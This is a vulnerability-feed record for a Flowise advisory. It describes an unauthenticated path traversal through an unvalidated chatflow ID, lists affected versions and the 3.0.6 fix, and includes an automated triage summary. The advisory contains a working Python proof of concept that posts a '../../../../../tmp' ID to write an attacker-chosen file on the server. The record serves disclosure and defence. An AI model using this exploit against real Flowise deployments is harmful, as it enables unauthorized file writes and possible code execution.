{"id":"CVE-2025-71334","kind":"vulnerability","aliases":["CVE-2025-71334","GHSA-q67q-549q-p849"],"related":[],"title":"Flowise has arbitrary file access due to missing chat flow id validation","description":"### Summary\n\nMissing chat flow id validation allows an attacker to access arbitrary file.\n\n### Details\n\nCommit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however,  `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues.\n\n**Case 1**\n\nWhen creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.\n\n```typescript\nexport const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {\n    // ...\n    } else {\n        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here\n        if (!fs.existsSync(dir)) {\n            fs.mkdirSync(dir, { recursive: true })\n        }\n\n        const splitDataURI = fileBase64.split(',')\n        const filename = splitDataURI.pop()?.split(':')[1] ?? ''\n        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')\n        const sanitizedFilename = _sanitizeFilename(filename)\n\n        const filePath = path.join(dir, sanitizedFilename)\n        fs.writeFileSync(filePath, bf)\n        fileNames.push(sanitizedFilename)\n        return 'FILE-STORAGE::' + JSON.stringify(fileNames)\n    }\n}\n```\n\n**Case 2**\n\nWhen downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path.\n\nNote that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication.\n\n### PoC\n\nLaunch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'.\n\n```python\nimport requests\nimport json\nurl = \"http://localhost:8080/api/v1/chatflows\"\nheaders = {\"x-request-from\": \"internal\"}\nnodedata = {\n  \"category\" : \"Document Loaders\",\n  \"inputs\" : {\n    \"key\" : \"data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn\"\n  }\n}\nflownode = {\n  \"id\" : \"a\",\n  \"data\" : nodedata\n}\nflowdata = {\n  \"nodes\" : [flownode],\n  \"edges\" : [],\n  \"viewport\" : {\n    \"x\" : 1,\n    \"y\" : 1,\n    \"zoom\" : 1\n  }\n}\ndata = {\n  \"id\" : \"../../../../../tmp\",\n  \"name\" : \"name\",\n  \"flowData\" : json.dumps(flowdata)\n}\nres = requests.post(url, json=data, headers=headers)\n```\n\n### Impact\n\n1. Arbitrary file read / write\n2. Remote Code Execution\n3. Data loss","summary":"Flowise accepts a chatflow ID from requests without checking it, so an attacker can use ../ sequences to reach paths outside the storage folder. The advisory says this allows arbitrary file read and write, and possibly remote code execution.","severity":"critical","cvss":9.8,"epss":0.0436,"exploited":false,"exploited_at":null,"products":[{"name":"flowise","fixed":["3.0.6"],"affected":">= 2.2.8, < 3.0.6","ecosystem":"npm"},{"name":"flowiseai flowise","fixed":["3.0.6"],"affected":"< 3.0.6","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["ai-agents","ai-tooling","cwe-22","cwe-73","flowise","npm","self-hosted"],"not_affected_if":["before-2.2.8","fixed-3.0.6-or-later"],"how_to_check":null,"fix":null,"status":"open","published_at":"2025-09-15T20:11:39+00:00","first_seen_at":"2026-11-03T17:36:46+00:00","triaged_at":"2026-11-03T17:38:40+00:00","updated_at":"2026-11-03T17:52:24+00:00","category":"ai-tooling","confidence":0.9,"triage":{"at":"2026-11-03T17:38:40Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the `flowise` npm package to `3.0.6` or later.","reach":"internet","title":"Flowise: unauthenticated path traversal lets attackers write and read server files","impact":"high","summary":"Flowise accepts a chatflow ID from requests without checking it, so an attacker can use ../ sequences to reach paths outside the storage folder. The advisory says this allows arbitrary file read and write, and possibly remote code execution.","audience":"businesses","category":"ai-tooling","nicknames":[],"who_cares":["flowise","self-hosted","npm","ai-agents"],"confidence":0.9,"fix_status":"available","needs_auth":"no","worst_case":"Attacker writes files on the server and may run code","analyst_note":"","how_to_check":"- Check the installed Flowise version with `npm ls flowise` in the project or deployment directory.\n- Look at the `flowise` entry in `package.json` and `package-lock.json` for a version between `2.2.8` and `3.0.5`.\n- Confirm whether the `/api/v1/chatflows`, `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` routes are reachable from outside your network.","plain_action":"","needs_analyst":false,"not_affected_if":["fixed-3.0.6-or-later","before-2.2.8"],"who_is_affected":"Any Flowise deployment from `2.2.8` up to but not including `3.0.6` is exposed, including self-hosted instances running the default configuration. The advisory says the affected storage routes are on the unauthenticated whitelist, so an internet-reachable instance is the main concern. Teams on managed hosting or versions outside the range can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.001314,"input_tokens":5493,"output_tokens":1530,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2025':14A,22A '-22':34B '-71334':15A,23A '-73':36B '/../../../../tmp':396C '/amazons3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/amazons3/latest/userguide/object-keys.html#object-key-guidelines)':299C '/api/v1/attachments':124C '/api/v1/chatflows':155C '/api/v1/get-upload-file':264C '/api/v1/openai-assistants-file/download':262C '/flowiseai/flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f':97C '/flowiseai/flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7':101C '/tmp':347C '1':149C,230C,389C,391C,393C,410C '2':257C,415C '3':419C '549q':19A '8080/api/v1/chatflows':359C 'accept':43B 'access':5A,90C 'add':102C 'addbase64filestostorage':157C,199C 'addit':116C 'advisori':66B 'agent':29B 'ai':28B,31B 'ai-ag':27B 'ai-tool':30B 'allow':69B,86C 'although':166C 'amazon':289C 'api':310C 'app':326C 'arbitrari':3A,70B,91C,191C,411C 'async':200C 'attack':54B,88C,182C,316C 'authent':323C 'base64':163C,235C,374C 'bf':232C,247C 'bodi':176C 'bucket':277C 'buffer.from':233C 'call':159C,268C 'case':127C,148C,256C 'categori':367C 'chat':9A,82C 'chatflow':45B,153C 'chatflowid':119C,129C,172C,203C,212C,279C 'chatid':121C,131C,281C 'check':50B,103C 'cloud':276C 'code':78B,417C 'come':173C 'commit':94C 'config':331C 'const':198C,208C,223C,226C,231C,236C,240C 'content':349C 'control':194C 'could':183C 'creat':151C 'cve':13A,21A 'cwe':33B,35B 'data':165C,195C,272C,372C,381C,394C,406C,420C 'default':330C 'detail':93C 'dir':209C,218C,220C,243C,346C 'direct':177C 'docs.aws.amazon.com':298C 'docs.aws.amazon.com/amazons3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/amazons3/latest/userguide/object-keys.html#object-key-guidelines)':297C 'document':295C,368C 'download':259C 'due':6A 'edg':386C 'els':207C 'ensur':136C 'exampl':293C 'execut':79B,418C 'exist':162C 'exploit':184C 'export':197C 'file':4A,71B,92C,108C,164C,192C,252C,260C,271C,285C,321C,339C,412C 'file-storag':251C 'filebase64':201C 'filebase64.split':225C 'filenam':105C,168C,205C,227C,239C,255C 'filenames.push':248C 'filepath':241C,246C 'flow':10A,83C 'flowdata':383C,399C,401C 'flowis':1A,37B,42B 'flowise':24A,26A 'flowiseai':25A 'flownod':378C,385C 'folder':64B 'follow':335C 'fs.existssync':217C 'fs.mkdirsync':219C 'fs.writefilesync':245C 'function':156C,265C 'generat':287C 'getstoragepath':211C 'ghsa':17A 'ghsa-q67q-549q-p849':16A 'github.com':96C,100C 'github.com/flowiseai/flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f':95C 'github.com/flowiseai/flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7':99C 'handl':107C 'header':360C,407C,408C 'hello':350C 'host':41B 'howev':128C 'id':11A,46B,84C,379C,395C 'impact':409C 'import':353C,355C 'indic':296C 'input':370C 'intern':365C 'issu':147C 'json':356C,405C 'json.dumps':400C 'json.stringify':254C 'key':371C 'launch':325C 'lead':144C 'loader':369C 'local':274C 'localhost':328C,358C 'loss':421C 'may':143C,317C 'miss':8A,81C 'name':340C,397C,398C 'new':152C 'node':384C 'nodedata':366C,382C 'note':307C 'npm':38B 'number':141C 'oper':110C 'outsid':61B 'p849':20A 'path':60B,113C,186C,213C,286C,306C 'path.join':210C,242C 'poc':324C 'possibl':76B 'prevent':112C 'pwn':341C,377C 'python':336C,352C 'q67q':18A 'reach':59B 'read':72B,413C 'recurs':221C 'relat':305C 'remot':77B,416C 'request':48B,175C,354C,363C 'requests.post':403C 'res':402C 'retriev':270C 'return':250C 'rout':123C 'run':333C 's3':290C 'sanit':170C 'sanitizedfilenam':237C,244C,249C 'sanitizefilenam':238C 'say':67B 'script':337C 'secur':146C 'self':40B 'self-host':39B 'sequenc':57B 'sgvsbg8sifdvcmxkiq':375C 'split':229C 'splitdatauri':224C 'splitdatauri.pop':228C,234C 'storag':63B,253C,320C 'streamstoragefil':266C 'string':202C,204C,206C 'summari':80C 'take':288C 'text/plain':373C 'tool':32B 'travers':114C,187C,214C,318C 'treat':303C 'true':222C 'typescript':196C 'upload':109C 'url':314C,357C,404C 'use':56B,283C 'user':319C 'uuid':139C 'valid':12A,85C,117C,134C,180C 'via':154C,261C 'viewport':387C 'whitelist':313C 'without':49B,178C,322C 'world':351C 'write':74B,190C,414C 'written':344C 'x':362C,388C 'x-request-from':361C 'y':390C 'zoom':392C","nicknames":[],"mitigations":[],"who_affected":"Any Flowise deployment from `2.2.8` up to but not including `3.0.6` is exposed, including self-hosted instances running the default configuration. The advisory says the affected storage routes are on the unauthenticated whitelist, so an internet-reachable instance is the main concern. Teams on managed hosting or versions outside the range can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["flowise","flowiseaiflowise"],"ptokens":["flowise","flowiseai"],"labels":["aiagents","aitooling","critical","cwe22","cwe73","flowise","npm","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2025-09-13T22:33:39+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-q67q-549q-p849","url":"https://github.com/advisories/GHSA-q67q-549q-p849","severity":"critical","published_at":"2025-09-15T20:11:39+00:00","modified_at":"2026-11-03T17:35:59+00:00","first_seen_at":"2026-11-03T17:36:46+00:00","fetched_at":"2026-11-03T17:36:46+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-71334","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71334","severity":null,"published_at":"2026-06-25T22:16:59+00:00","modified_at":"2026-10-29T21:17:05+00:00","first_seen_at":"2026-11-03T17:52:24+00:00","fetched_at":"2026-11-03T17:52:24+00:00","note":null}],"documents":[{"id":59313,"url":"https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-q67q-549q-p849","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":59314,"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-09-13T22:33:39+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":59315,"url":"https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59316,"url":"https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59491,"url":"https://www.vulncheck.com/advisories/flowise-arbitrary-file-access-via-missing-chat-flow-id-validation","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}